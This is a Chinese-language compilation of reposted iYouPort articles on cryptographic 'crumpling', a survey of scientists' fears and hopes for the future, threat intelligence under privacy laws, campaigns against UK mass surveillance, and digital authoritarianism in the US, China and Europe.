波士顿大学的研究人员认为他们可能已经提出了解决方案。上周，该团队表示，他们已经开发出一种新的加密技术，可以为当局提供一些访问权限，但不会在实践中提供无限制的访问权限。

换句话说，这是一个中间立场—— 一种打破加密以安抚执法的方式，但不能达到对公众进行大规模监视的程度。

波士顿大学研究副教授和密码学专家 Mayank Varia 开发了这种新技术，称为加密 “crumpling”。在一份记录该研究的论文中，主要作者 Varia 表示，新的加密方法可用于政府目的的对加密数据的访问，同时保持用户隐私在合理水平上。

这种技术使用两种方法—— 第一种是模块化算术组的 Diffie-Hellman 密钥交换，制造一个“极其昂贵”的难题，必须解决这个难题才能打破协议，第二种是“基于哈希的工作证明，以对每个消息的“恢复”施加线性成本”。

该团队表示，这种情况也只允许“被动”解密尝试，而不是中间人（MiTM）攻击。通过将加密谜题引入到每个消息加密密钥的生成中，密钥将可以解密，但是需要大量资源才能解密。此外，每个关键字都必需独立完成整套解密工作，这意味着“政府必须花费精力来解决每个问题。”

为了防止未经授权的破坏加密的尝试，该技术充当了一个看门人，它比单个关键难题更难解决。虽然这不一定能阻止国家支持的威胁行为者，但它至少可以阻止个别的网络攻击者，因为对他们来说成本太高不值得。

新技术将允许政府恢复目标消息的明文，但是，它也会非常昂贵。例如，使用今天的硬件，70 比特的密钥长度将花费数百万美元，这样可以迫使政府机构更仔细选择目标，并且高额的费用可能会防止滥用。

该研究小组估计，政府每年可以破解少于70个密钥，预算接近 7000 万美元，每条消息还可能需要额外花费1,000到100万美元，这些数字很难更低了，特别是因为在没有上下文数据的情况下，来自可疑目标人的单独一条消息不太可能确保定罪。

该团队表示，crumpling 可以适用于常见的加密服务，包括 PGP，Signal，以及全盘和基于文件的加密。该研究由国家科学基金会资助。

Cryptographic crumpling: The encryption ‘middle ground’ for government surveillance. Researchers believe a new encryption technique may be key to maintaining a balance between user privacy and government demands. The new technique would allow governments to recover the plaintext for targeted messages, however, it would also be prohibitively expensive.

原文

恐惧和希望并存：未来，还没糟透 - iYouPort

互联网自由-Resist

恐惧到处都是敌人。它破坏了信任、扼杀了想象力 ..... 如果我们不寻求希望，而是寻求意义呢？因此，无论事情是否有希望，我们都可以选择以成为人类意味着什么的伦理考虑为基础，共同努力

「图」

「图」

展望我们最狂野的内心或最深切的恐惧所定义的未来是一种与人类文化一样古老的本能。但随着人们正在全球范围内应对深刻的范式转变，它在近年来已经呈现出新的紧迫性。

我们生活在历史上最具社会关联性和技术先进性的世界中，我们正在发现遥远的系外行星，设计模仿我们思考方式的算法，并熟练掌握生命的遗传语言。这其中哪些是噩梦？哪些是希望？

为了解释这些问题，Motherboard 向105名跨学科思想家询问了他们对未来的恐惧和希望。参与者包括（但不限于）19名空间科学家，19名生物学家和环境科学家，11名计算机科学家，8名医学科学家，5名律师，4名历史学家，一名音乐学家，一名古生物学家，一名宇航员和一位回应表情符号的数字艺术家。

大多数参与者都在美国（69人），但也收到了来自欧洲（20人），澳大利亚（5），加拿大（4），新加坡（2），南非（2），台湾（1），印度（1）和孟加拉国（1）的回复；包括 56名女性和49名男性。

对所有 105 名参与者都提出了这两个问题：你对未来最担心的是什么？是什么让你对未来充满希望？他们的答复如下所列。

回应中出现了统一的想法。到目前为止，最常被提到的担忧是气候变

化（29），其次是政治极端主义（21）的飙升；人工智能，特别是其偏见和不可预测性，是另一个共同关注的问题（10）；经常被提到的是虚假信息的扩散（8）和对科学和 STEM 教育的投入不足（8）。

WALL-E、终结者、疯狂麦克斯、Fury Road、Elysium 和 Black Mirror 可以作为未来恐惧的参考。三位受访者，两位天文学家和一位考古学家表示，他们并不担心未来。

大多数参与者将人类的聪明才智和集体行动作为希望和灵感的源泉。其中 26 人特别提到年轻一代让他们感觉乐观（没有压力）。Seven 表示，女性权利的提升给了她们希望，三人提到了#MeToo 运动。

所有 105 位受访者都对人类的未来—— 好的、坏的、丑的和非常奇怪的—— 提供了宝贵的观点。希望这些意见能为您带来启发性。

未来主义者和历史学家（**10**）

最恐惧的事：我们被意见打败，再也看不到共同的现实。学习批判性思维似乎已经不足解决如此严重的问题。虽然气候变化将导致海平面上升和天气稳定性增加，但新的研究表明恶性系统效应更为严重。我们放弃了我们的未来，很少有人关心。

希望：越来越重视在更广泛的社会中承认原住民文化的重要性。可以在同一个地点彼此采用不同的方式。

最恐惧的事：越来越多的错误观念认为，更多的科学和技术可以解决我们社会最大的问题，这些问题是社会和文化的核心。

希望：人类，以及人类可以做到的最好的想法，具有极大的弹性。

> *“Climate change, an apparently insane American president, and a set of British politicians that want to turn the UK into an island that emerges from the mist every 100 years”*

最恐惧的事：《黑镜》那种技术深入的后果，令我担心的是生活模仿艺术和艺术模仿生活。即使我们有能力设想冲突以及道德和道德困境，我们仍然会对权力、资源和能源做出短视的决定，这些决定是不公平的和不可持续的。当我们在没有同理心的情况下行动，没有自我意识的创新，没有洞察力或智慧的力量，最终我们会把自己变成自我的奴隶。

希望：我们能够想象一个新的未来，概念化和探索新的真理。艺术家接受培训，以便将原创想法可视化，创造可以引导我们创造力的语话。是时候审视我们的经济、政治和宗教制度了，这些系统适用于所有人吗？如果不是，我们如何使用交叉实践来创建和谐、周到、充满同理心和联系的解决方案？

最恐惧的事：科学家、艺术家和作家被焚烧，暴民欢呼。

希望：全世界公民科学运动的兴起。

最恐惧的事：在“西方世界”中显而易见的趋势，即走向衰老、偏执、无聊、政治正确的僵尸老年社会。

希望：人类在地球上做了很多美好的事，并且可以继续在其他星球做更多奇妙的事，只要我们保持健康的无限、不敬和不合理的乐观主义储备。

最恐惧的事：在我们的一生中，我们会看到人工智能反映了我们人类的缺点。我们会发现自己被困在一个不可思议的山谷中—— 生活几乎正常，但没有什么能让人感觉是完全正确的。我们将沮丧地诅咒制度化的阶级主义、仇外心理、性别歧视、同性恋恐惧症、和种族主义体现在我们制造的机器身上。

希望：未来还没有发生。我们现在正在共同创造未来，这意味着今天活着的每个人都有机会对人工智能的未来发挥有益的作用。

最恐惧的事：傲慢的技术、知识分子、政治。我们不知道我们自己有多无知。

希望：对我们政治时刻的正义的愤怒正在推动一股强大的激进主义和组织浪潮。包括科学家和技术专家在内的许多人都在倡导正义而不是权力。我想相信善意会赢。

计算机科学家（**11**）

最恐惧的事：大规模的系统故障导致了对专家的普遍不信任，不恰当的责备，以及阴谋论的泛滥，这些阴谋论为其他神秘事件提供了简单但错误的解释。如果基于这些粗略的过度简化制定政策，我们将看到更多的灾难，系统故障和可怕的意外后果。

希望：如果我们设计的系统具有灵活性而非最优性，我们就有能力缓解这些问题。我们应该选择并培养那些擅长将复杂概念传达给负担过

重的决策者的跨学科思想家。

最恐惧的事：当我们开发模拟我们思考方式的算法表时，我们最终将[对后代]传递作为人类最有缺陷的判断方式。算法偏见现在是人工智能中的一个真正的问题，其破坏性就像瘟疫一样。在开发人员的头脑中持有的有意识和无意识的仇恨、蔑视甚至是偶然的陈规定型观念，现在很容易进入代码库。当我们将思维转移到机器上时，思维中的这些缺陷会无休止地延续下去并且越来越不会受到后代的挑战。

希望：看到像 Renee Teate，VincenteOrdóñezRomán 和 Ines Montani 这样的如此不可思议的多元化头脑，是明确的希望。技术可以使我们更紧密地联系在一起，增进我们的关系，并将我们与新老朋友联系起来。科技不会取代我们的关系; 它必须起到增强的作用。

恐惧：过度使用互联网和在线平台会对家庭生活产生负面影响。家庭成员更少花时间闲聊，看电视，一起吃饭和度假。

希望：技术的进步及其解决现实问题的能力，从而提高人类生活质量。

恐惧：一切都变成了计算机，一切都被联网。我们想要防止这种情况已经无能为力。只要一个通电通电，它就会在互联网上。

希望：机器学习和人工智能的发展。我相信机器学习对于防守比进攻更有用。

恐惧：人工智能算法缺乏透明度和问责制，而我们正越来越多地将其用于所有行业和政府服务。

希望：亚洲、非洲和拉丁美洲各城市新兴中产阶级获得基本服务（如教育，医疗保健，流动性和安全性）的民主化。

恐惧：缺乏关于人工智能和无人系统的理性决策。关于人工智能的过度炒作导致美国各州忽视已知的公共安全风险，只希望获得企业投资。

希望：计算和机器人技术的可能性将导致有一天不再发生灾难—因为灾难可以预测和准备，响应和恢复是即时和无缝的。

恐惧：人们会相信软件为我们做出重大的生死决定（疾病诊断！战争！汽车刹车！），而没有适当的人为监督。

希望：我们在解决研究中的计算机科学问题方面取得了令人难以置信的进步。如果我们能够将这些想法的一小部分转化为现实世界的解决方案，我们将会处于良好的状态。

艺术家和作家（7）

恐惧：人类的冷漠。

希望：人类的聪明才智。

恐惧：物种灭绝，以每五分钟一个生物体的速度灭绝。其中大部分是由于人类的活动和过度发展。作为一名建筑师和城市设计师，我要对这种讽刺感负责。我们需要通过一切必要的手段来制止灭绝。

希望：人类是这个问题的罪魁祸首，因此人类有能力阻止它。

恐惧：我们生活在一个极其充满激情的时代，我们面临着气候变化，不断加剧的社会不平等，冲突以及法西斯政权的崛起。所有这些都与当前的权力和统治结构密不可分。让我最担心的是放弃我们的想象力，我们的创造力，我们共同合作的人类能力，谈判，争论和集体讨论恐惧的能力。恐惧到处都是敌人。它破坏了信任，它扼杀了想象力。

希望：如果我们不寻求希望，而是寻求意义呢？因此，无论事情是否有希望，我们都可以选择以在地球上成为人类意味着什么的伦理考虑为基础，包括共同努力。

律师和政治学家（8）

最恐惧的事：全球重心已经右转，特朗普政权及其盟友所造成的国家性和全球性破坏将使我们重新站稳脚的希望变得异常艰难。

希望：青年运动。年轻人正在重塑激进主义和民主，寻找彻底的新方法来理解和解决长期存在的不公正现象。

最恐惧的事：随着气候变化并加速了流民的迁徙，将出现反对移民和不同民族之间频繁发生冲突的黑暗时代。

希望：从基本收入支付的试验到使可再生能源在市场上运作良好的方式，世界各地正在进行的所有实验都将发生集体进步的可能性。

最恐惧的事：我们太在乎别人如何看待我们了。我们快乐的心情和情

绪好坏的可能性将越来越多地与其他人对我们的看法联系在一起。

希望：社交媒体和通信技术将有助于分配机会和知识。

最恐惧的事：合法化的自相残杀—我们将从根本上扩大生命采购和商业化实践的可能性，包括人体细胞和组织。最初，知情同意将用于促进将这些原材料转移到企业实体，这些企业开采、资本化和重新安排它们以获取利润；之后，为了有效转移，知情同意和隐私将被搁置。

希望：激进的创造力—下一代思想家正在超越纪律和其他界限，这些界限载有我们如何想象我们的未来以及我们将如何走向未来的道路。

最恐惧的事：数字技术是对新闻业的一种生存威胁，正如我们在20世纪所知道的那样，当与独立媒体的巨大政治压力相结合时，在信息质量和信息平等方面，自由表达的许多基础设施可能指向了一个黑暗的地方。

希望：年轻人既不害怕也不敬畏数字技术，并且相比过去几代人都能更好地利用技术装备自己，充分利用技术，对集中化技术背后的巨头公司持怀疑态度，而不是自满或疯狂。

人文社会科学家（**15**）

最恐惧的事：我们是否会被人工智能僵化，我们已经在无意中通过编程以操纵人类自己？这些算法正在演变为比人类更好的心理学家，我们实际上并没有办法预测对人类大脑的这种大规模操纵将如何影响我们的未来。

希望：人类当务之急是创新，但有时创新也需要监管，以防止产生有害影响。许多行业现在已经将挑战和责任放在自己的手中，这有可能限制新技术的负面后果。

最恐惧的事：伪装成民主的专制正在消除人民的政治权利。公民的斗争应该在何处努力以及如何体现为更加平等的社会？

希望：平等和权利很少被发放，所以单靠希望是行不通的。当然，人类有能力设计其他形式的民主参与，以更公平地分配公共利益。

最恐惧的事：就像我们面对物种20万年来最大规模的生存威胁一样，我们越来越无法集体解决人类的问题。由于贪婪、恐惧和仇恨的原子化和容易操纵，我们对更大利益的想法失去了信心。换句话说，就在我们最需要天使的时候，天使似乎正在放弃我们。

希望：尽管如此，生存是我们最根深蒂固的本能，其次是爱。贪婪和仇恨是偏误，最终需要付出太多努力才能实现可持续发展。

最恐惧的事：未来或多或少与现在相同。

希望：现在我能想到的一切在未来都有可能是愚蠢的和错误的。

最恐惧的事：不断上升的民族主义以及世界各地的政治孤立和经济隔离。

希望：作为一名考古学家经常让自己后仰，深呼吸，放松。文明的结束经常被宣布，但很少发生。所以，老实说我对未来并不太担心。

最恐惧的事：政治的两极分化一直在加剧，特别是经济和意识形态，增强了我们之间的分离。这使我们在迫切需要聚集在一起解决气候变化等紧急问题时，更难以相互交流和理解。

希望：女性正在崛起，尤其是与女性相关的品质，如包容和协作能力。男性正在接受他们内心存在的女性化的一面，以及父权制解体的明显证据（尽管有强烈反对）。

最恐惧的事：由于我们已经接近100亿人口，富人大量过度消费，穷人想要并追求更多消费，我们面临着气候变化，粮食不安全，水资源紧张，生物多样性丧失等问题。

希望：我的学生和世界各地的年轻人正在为保护环境作出努力，他们的行动每天都激励着我。

最恐惧的事：许多事情似乎超出了我们的控制范围，学校里的枪支、不平等、虚假消息的泛滥、成瘾问题、分裂的言论、仇恨……我担心因为问题太大，我们会不会停止尝试。

希望：年轻人。他们是承诺，参与，包容和理智（大多数情况下）。

最恐惧的事：建设未来在许多方面依赖于对过去的深刻理解。我们已经进入了一个由实时连续和短暂的信息流所决定的时代，我们将对文明的记忆转移到了数字和私人系统中，而这些系统不能保证长期的持久性。试着将它与大金字塔进行比较，这是一个古老国家的证词，已经存活了4500年！

希望：人类惊人的能力经常与悲观的专家和大师们的既定“真理”和预言相矛盾，并通过新的想法、发现和创新来推动我们的文明向前发

展。

最恐惧的事：我们与差异的持续斗争。我们对看起来与自己不同的人的愤怒、恐惧、焦虑和蔑视，正在削弱并继续破坏我们的民主、我们的进步，以及我们挖掘最佳思想和提供可以推动我们前进的机会的能力。

希望：像斯佩尔曼学院这样的高等学府的学生和校友。他们致力于改变这点。

生物学家和环境科学家（18）

最恐惧的事：考虑一下30年前的通信（大多数情况下是面对面的，少部分通过电话），20年前（面对面的交谈依旧很多，但是手机开始多起来了），而现在（绝大多数交流都通过某种类型的屏幕）。情愫在哪儿？

希望：知识生产比以前快很多了，我希望新一代人的学习速度比我们历史上要快得多。

最恐惧的事：世界继续排斥科学和技术的多样性和包容性。百分之一的科学文献来自非洲大陆—为什么？非洲是我曾经历过的最具创新性的地方。我们必须为资源匮乏的国家的科学实验室提供持续的电力、互联网和运输服务。我担心我们做得不够快。

希望：非洲科学家通过使用最高科技和创新来解决问题。当科学成为一个多元化、包容性的地方时，饥饿将会结束—然后所有其他的大规模的挑战也将会下降。

最恐惧的事：我们的社会将不会注意到已经存在的许多警告，不记得我们在各种环境危机中学到的重要教训。有些人仍然相信更多的数据和事实会拯救我们，但如果气候变化（和心理学研究）能告诉我们什么的话，那就是，更多的事实并没有改变人们的思想/行为。技术也不会拯救我们，它首先是让我们陷入困境的原因。

希望：希望是一个危险的词。当我们感到失去控制或无力再做任何事情时，我们就会这样做，我们“希望”别人会解决这个问题，或者科学家用“科学”帮助我们摆脱困境。我鼓励人们不要去希望，而是要做。做每一点事。

最恐惧的事：观点和意见的泛滥超过了证据，在任何方面。

希望：我在科学、生活和彼此之间看到了人们的持续参与。

最恐惧的事：美国总统可以引导一大群人公开嘲笑一名声称受到性侵犯的女性，而且很少有人会因此愤怒。很多人喜欢卑鄙和欺凌。

希望：也同时有很多人善良和聪明。

最恐惧的事：政策制定者将在决策中使用意识形态信念而不是基于证据的推理。

希望：社交媒体促进的社会动员和公开传播以及信息共享。

最恐惧的事：人类本能的自满情绪集中在眼前的利益上，而不是承认错误并对我们决策的长期影响负责。

希望：一个日益联系的世界可能使社会创新能够帮助我们改善人类状况，而不是仍然专注于短期利益。

最恐惧的事：作为一名在实验室工作的科学家，我坚信团队精神。所以我最担心的是，我们不会在科学原则和事实的基础上共同努力，解决我们的世界面临的一些最重要的问题。

希望：我们将继续推进基础科学以及技术的革命性发展，这将提高越来越多人的生活水平。

最恐惧的事：网上虚假信息的泛滥，因为它可能导致直接的现实后果。

希望：新一代强大的生物技术（基因组编辑、癌症免疫疗法等）将在药物发现、临床治疗和人类健康方面取得重大突破。

最恐惧的事：缺乏参与和建设性的政治领导和政策语话；无限制的和暗箱操作的政治捐款导致政治进程的歪曲，导致一个国家缺乏领导力和前瞻性规划，以及腐败的风险。

希望：我们有很多聪明的年轻人，他们受过更好的教育，拥有比前几代更多的资源和机会。他们显然会创造一个更美好，更公平，更环保的社会。

太空科学家和航空航天工程师（**19**）

最恐惧的事：科幻小说“WALL-E”中的所有内容都将成为现实。

希望：孩子们现在知道刷牙可以防止蛀牙，还知道人类的活动也是导致气候变化的主要原因。

最恐惧的事：人类的短视。我们的物种和整个星球的问题表现在数百年或数千年的时间尺度上。但个人、公司和政府只会考虑并计划下一季度、明年或最多，只看到我们自己的生命周期。

希望：宇宙足够大，在其中的某个地方可能有真正的智慧生命。

最恐惧的事：不仅有我们的社会缺乏科学素养，甚至还有对它的赞美。

希望：看到年轻一代的希望、灵感和动力。

最恐惧的事：最重要的行动—— 那些影响国家和全球未来的行动—— 不能只留给那些能够当选的人。一个坏医生可以杀死很少的病人，但是一个坏的政客或一个坏的财政大臣可以消灭所有人。

希望：我看不出希望应该来自哪里。

最恐惧的事：偏见蔓延到整个社会，我们失去了质疑和争取真相的能力。我担心我们在科学研究中失去了太多人，因为他们厌倦了旨在保护白人教授的古老政策，并对学术界效率低下和冰川变化的速度不成比例感到沮丧。

希望：年轻人和网络的力量。他们质疑过时的政策，挑战陈规定型观念，并教导我们所有人要诚实。

最恐惧的事：新自由主义资本主义似乎无情地渗透到了人类生存的方方面面。

希望：青少年。

……

您呢？您最恐惧的事是什么样的？希望又是什么？欢迎留言探讨。

原文

挽救民主：重新定义信息时代的关键基础设施 - iYouPort

互联网自由-Resist

在一个严格的隐私法时代，创建一个有效利用威胁情报来打击虚假宣传活动和支持民主的在线环境非常重要。在当今的环境中，当虚假信息成为主要的威胁载体时，实践这些观点是急切的。

虽然新闻来源总是带有一定程度的编辑偏见，但是记录期刊的偏见是基于这样一种假设：无论偏见如何，报告信息的基础都应该是个人观察和记录的事实。然而现在“替代事实”已经成为了主流，了解（错误）信息的来源和打击明显的信息战操作需要严格的关键基础设施保护。

我们也看到了善意的隐私立法产生的潜在不利影响（如上述&2中关联）。欧盟的通用数据保护条例（GDPR）、2018年的加利福尼亚州消费者隐私法案、以及加拿大个人信息保护和电子文件法案都是保护公民的积极步骤，但是，正如通常情况所显示的那样，这些善意的努力会产生意想不到的后果。

虽然毫无疑问隐私法规旨在保护公民的私人数据，但这些新法律也阻碍了网络安全工作—— 特别是在安全分析师收集和分享有关可疑或恶意在线基础设施的威胁情报的能力方面。作为一个特别令人关注的例子，隐私规则对通过 Whois 提供的数据进行了大量讨论，使域名所有权对调查人员来说基本上不透明。这很关键，因为通过 DNS 和注册数据的组合对基础设施的分析多年来一直是威胁情报操作的支柱。

确实，威胁行为者多年来一直使用 Whois privacy 来掩盖他们的踪迹。但他们也经常使用伪造的注册信息来掩盖他们的踪迹。迟早，他们中的许多人都会栽跟头，而这些错误有助于调查人员和分析人员破解新兴或持续的攻击行为。这就是安全研究人员获得注册和基础设施信息的重要性所在，这些信息可以识别各种网络事件背后的行为者—— 包括虚假新闻活动和彻底的选举篡改。 FireEye 对伊朗的威胁研究进一步强调了它的重要性。

在努力打败虚假宣传活动中有效利用威胁情报对于创建一个在严格的隐私法律时代支持民主的在线环境非常重要。虽然从 Whois 记录中删除识别信息已经对对手基础设施分析工作流程产生了影响，但不会一直如此。由于当前隐私限制如何使用和共享数据，网络安全专业人员只需要了解他们打击威胁行为者的努力是如何受到影响的。

好消息是，分析师仍然可以非常有效地识别和打击网络威胁。但它需要超越 Whois，在对抗分析中使用的长期根深蒂固的工作流程和实践。例如：

注册细节对识别来说肯定有效，但是，有大量其他数据往往同样有效。示例包括 DNS 记录（包括权限启动或 SOA，记录，即电子邮件地址），以及 Web 内容，如 SSL / TLS 证书，跟踪代码，网站标题和屏幕截图。当参与者为攻击活动创建基础架构时，他们通常会重用这些元素中的许多元素。在关联威胁参与者资产时，这对您有利。

请记住，doxing 不是你的目标（除非你在执法，否则不要）。在尝试了解新兴或不断演变的攻击活动时，归因的最有价值的方面是识别一个角色（如实体犯罪调查中的“John Doe”个人资料），将域名，IP 地址，网络资产，恶意软件文件捆绑在一起，以及活动的其他组成部分。您不需要真实身份。即使在开放 Whois 记录的日子里，也很难确定给定的身份是否合法。

一旦识别出一个角色或一组相关的攻击基础架构，就可以更容易地采取具体行动，例如在日志档案或 SIEM 中搜索发现的项目（域名，IP，URL 等），创建阻止规则以覆盖整个活动，或创建监视列表以监控攻击基础架构的持续演进或扩展。

美国的最近两次大选由于缺乏安全性而成为焦点。在计票后很久，研究人员一直在分析对抗性在线活动所产生的影响（如果有的话），而情报分析将同样检查虚假宣传活动是否有效影响了选举结果。全面准确和有效地分析威胁行为者基础设施和活动的能力是此类工作的核心要求。

好消息是，有一些优秀的数据源、工具和实践可以使安全和情报专业人员能够了解并最终防止那些试图隐藏在互联网阴影中的对手。

Redefining Critical Infrastructure for the Age of Disinformation: In an era of tighter privacy laws, it’s important to create an online environment that uses threat intelligence productively to defeat disinformation campaigns and bolster democracy.

原文

推进反对大规模监视的斗争 - iYouPort

互联网自由-Resist

今年在打击大规模监视方面取得了一系列里程碑式的成就，包括9月份在欧洲人权法院的胜利，在打击侵入性国家监视的斗争中目前为止已经取得了几次重大胜利。

今天我们的斗争是要证明在一个尊重权利的民主国家中，大规模监视永远不可能是正当的。

自由长期以来一直反对大规模监视的权力。英国政府采取了一系列深度侵入性的监视制度，自由一直面临抵制这些侵略性国家权力的挑战—在议会、法院以及要求尊重其基本权利的活动家和公众。

英国监视制度中最令人不安的一个方面是使用“大国权力”。这些权力允许国家搜集并保存关于广泛人群的大量数据。

所谓的执法需求是政府部门最常用的谎言，已经有大量证据表明大规模监视行为实际上阻碍了执法工作。

政府可以使用大量权力访问我们最敏感的个人信息—我们向朋友和家人发送的信息，我们访问的网站以及我们在线发布的信息，我们去过哪里以及我们准备去哪里。这些信息可用于构建有关我们的令人不安的详细资料。

这种不加区别的监视是对我们隐私的无理侵犯。它还侵蚀了我们的言论自由和和平集会与结社的权利。以这种方式受到监视会使我们被迫进行自我审查并改变自己的行为。

今年9月，当欧洲人权法院裁定英国的历史性大规模监视侵犯了隐私权和言论自由时，我们取得了至关重要的胜利。我们将赢得此案的功劳归于大赦国际、隐私国际以及来自世界各地的11个其他人权和新闻团体的联合。

这项裁决表明我们在打击侵略性监视权力的斗争中取得了重大胜利—但我们希望更进一步。已经向法院提出上诉，并促使法院认为，大规

模的监视权力永远不能成为存在理由。

我们的工作并不止于此。我们还在挑战英国政府在现行监管制度下使用相同的权力。在我们的民主社会中，对数十亿通信的例行日常监视是不可接受的。

战斗还在继续。

Moving forward the fight against mass surveillance: This year has seen a series of milestones in the fight against mass surveillance, including our victory at the European Court of Human Rights in September, which saw several significant wins in the fight against intrusive state surveillance.

原文

数字专制与民主范式之战 - iYouPort

互联网自由-Resist关于高堡奇人

欧洲能摆平美国和中国的数字极权吗？现在还很难讲。唯一可以肯定的是，这场战争不会那么容易结束

「图」

「图」

在21世纪，互联网已经迅速放弃了它作为一种新的交流手段的角色。

2010年代，互联网从一个曾经每个人都可以不计后果地骂娘的地球村，变成了一个类似于陆海空三军的军事领域。在很多人看不到的地方，世界大国之间的数字战争已经持续了多年。

俄罗斯是最早意识到这一点的国家之一。

俄罗斯国防部2011年的文件名为《关于俄罗斯武装力量在信息空间活动的概念性意见》。这一概念性工作的成果，现在被全世界称为2016年美国总统大选期间及以后的 “俄罗斯干预”。

不过，俄罗斯并不是唯一认识到信息战极端重要的大国。

- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 《所有信息都是战略性的：信息地缘政治》
- 《如何在网上兜售谎言？—— 他们承诺可以”按照你的意愿改变任何现实”》

而且它远远超出了宣传和干涉的范围：俄罗斯和中国所玩的专制战略的终极目标是建立所谓的 “主权互联网”，这基本上意味着建立完全由国家控制的平行网络空间。

- 追求所谓 “互联网主权” 的可不止中国和俄罗斯 《互联网主权的全球崛起：这意味着什么？》

在不牺牲民主基本价值的情况下，西方民主国家在抵抗专制压力方面几乎没有选择。

几十年来，言论自由一直是支撑西方社会的核心原则之一，监管信息将意味着在专制领域发挥作用。

话虽如此，西方也并不是没有问题。在专制国家中，是政府在网上监视人们的一举一动，而在西方，是大型跨国公司在做同样的事 —— 甚至更严重，因为他们掌握的数据量超过任何政府。这就是监视资本主义，它依靠出卖和操纵每个人的私生活维持巨额利润。

- 《全球大规模监视的崛起：我们是如何走到这一步田地的？》

本文将阐述实际的互联网战争在三个不同方面 —— 美国、中国和欧盟 —— 发生了什么，以便了解最终谁将赢得这场战争，以及如何取得胜利。

- 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

「图」

「图」

美国与监视资本主义

> “一旦我们搜索了 Google，Google 就搜索了我们。曾经，我们认为数字服务是免费的，但现在监视资本家却认为我们才是免费的。” —— Shoshanna Zuboff

「图」

「图」

《监视资本主义时代》这本书在这里下载：https://www.patreon.com/posts/jian-shi-zi-ben-38143364

- 综合报告《数字焚书和网络维稳：149个国家/地区的互联网监视审查地图》

监视资本主义代表了一种过程，主要是通过寡头公司对公民进行全方位的监视来获利，出售他们收集到的所有个人数据。

拥有大量用户个人数据的在线平台一直在操纵每个人所能看到的一切，操纵你的认知 —— 即 《定制人》，其结果就是算法暴政毁掉了民主。

数字革命发展得越快，人权问题就越严重。

近年来，领先的数字平台在监管者的视线中倍增，联合国指责 Facebook 在传播仇恨言论和在缅甸种族灭绝中起着 “决定性作用”，或臭名昭著的 Facebook-剑桥分析公司丑闻曝光公民的私密数据在未经用户同意的情况下被收集、并用于定向政治宣传的行为。

- 关于剑桥分析公司，这不仅仅是一家公司《心理操纵的秘密：”行为经济学”＋PR＝？》
- 关于 “心理战和信息战”

Twitter 还因性别歧视、种族主义、恐同和暴力言论等行为不违反其政策而受到批评，公众指责该社交媒体平台从骚扰用户中获利。

如此看来，政府对科技巨头的监管最终可能无法避免（我们认为政府监管并没有用）。苹果公司CEO蒂姆-库克此前曾说，“我是自由市场的忠实信徒。但我们必须承认，当自由市场失效的时候 ……不可避免地会有某种程度的监管。”

- 《隐私法案管不住 Facebook 和 Google，怎么办》
- 寡头公司为什么拥护政府监管？《拥护的背后》

毫不奇怪，科技公司显然对受到更严格规定的前景很不满意。马克·扎克伯格考虑到不同国家不同政治体制下相关法律如何制定的问题，敦促欧盟委员会推动落实网络平台监管的普适框架。

总部设在瑞士的世界经济论坛(WEF)曾经说过，”无论数字平台造成的危害有多大，他们认为[……]调查封锁假新闻和仇恨言论的努力，最终会破坏对民主社会至关重要的思想自由交流”。

- 《封锁言论就能制止仇恨吗？不》
- 这里是IYP对审查的观点《大部分审查并非如你平日的吐槽对象那般显而易见—— 为自由而战（二）》

该组织指出：

> “我们的民主价值观念必须指导我们，过去的教训应该教会我们；但只有严格的、透明的辩论才能在促进

> 竞争和提高效率之间、以及在保护公众不受有害内容的影响和尊重言论自由之间，取得不变的权衡”。

5月28日，特朗普签署了一项针对社交媒体公司的行政命令。此举是在 Twitter 将特朗普的两条推文标记为 “潜在误导性” 之后做出的。特朗普在签署命令时表示，将 “捍卫言论自由，以免其面临在美国历史上面对最严重危险之一。”

该命令考虑将有关政治偏见的投诉转移到联邦贸易委员会，该委员会现在将审查科技公司的内容规范政策是否符合其中立性的承诺。

除此之外，该命令还组成了一个特别委员会，以调查基于政治观点的审查制度的指控。

此外，参议院于5月27日投票决定，允许执法机构在没有搜查令的情况下获取公民的互联网浏览和搜索历史数据。这是修订臭名昭著的《爱国者法案》的一部分。

- 《浏览历史记录曝光你的内心全景图：开源调查演示》

「图」

「图」

中国：出口的1984

中国是目前世界上拥有互联网用户最多的国家。但令人惊讶的是，其普及率并不高。根据 Internet World Stats 的数据，只有60%的中国人能够上网。相比之下，在美国，90% 的居民是互联网用户。

中国的互联网与世界其他国家的互联网截然不同。它拥有最先进的国家级封锁控制系统，它是在所谓的 “金盾工程” 的框架内，在政府的监督下创建的。它是一个总体系统，包括从发现和报告违法行为、到用户身份识别、再到内容监控和流量管理等多种监控手段。

自1995年以来，中国迅速与互联网接轨，但中国当局对互联网的态度却相当谨慎。中国政府意识到全球互联网络对其政权稳固的潜在危险，对互联网进行了严格控制。

1998年，中国公安部开始实施臭名昭著的 “金盾工程”。在接下来的10年时间里，该工程被精心打磨，并于2011年获得国务院批准。所谓的金盾工程是对互联网内容的审查制度，所谓的中国 **“GFW”** 只是

整体系统的一部分。

其最明显的目标就是屏蔽国外网站，控制跨境流量。但金盾不仅是封杀。

它还是一个全面的监控系统，包括点对点的用户身份识别（护照认证）、防病毒系统、入侵监测、内容过滤、视频监控，甚至是人脸识别系统，以及最新的中国社会信用体系的现成基础设施。

- 《“社会信用”监视：英国、中国、美国和日本》
- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》
- 《中国推出”超级监控摄像机”辅助社会信用评分》

所谓的金盾工程于2003年上线，被执政党称为建立国家“网络主权”的一种手段。该项目在中国供应商和全球网络之间建立了一个特殊服务器系统。长城防火墙阻断了中国人对一些外国资源的访问，并通过国家安全机构定义的关键词过滤所有外国内容。

- 详细分析《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

中国人被阻止使用所有主要的西方社交网络和电子邮件服务、流媒体服务、通信服务、许多新闻出版物，当然还有所有的色情制品。

这导致VPN服务在中国越来越受欢迎。为了打击这种趋势，中国曾对所有VPN进行了阻拦，甚至采取了从中国苹果商店中删除所有VPN应用的措施。

- 《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》
- 《GreatFire 新项目曝光苹果在中国实施的审查》
- 《继续作恶：谷歌禁止 VPN 广告帮助中国规避审查制度》
- 《美国正在打击对”外国VPN”的使用，为什么又和中国一样？》

尽管如此，中国VPN禁令的执行显然存在很多灰色地带，VPN仍然可以在中国使用，诚然，这对用户来说有可能存在危险。

- 《如何验证您的 VPN 连接是否安全？》
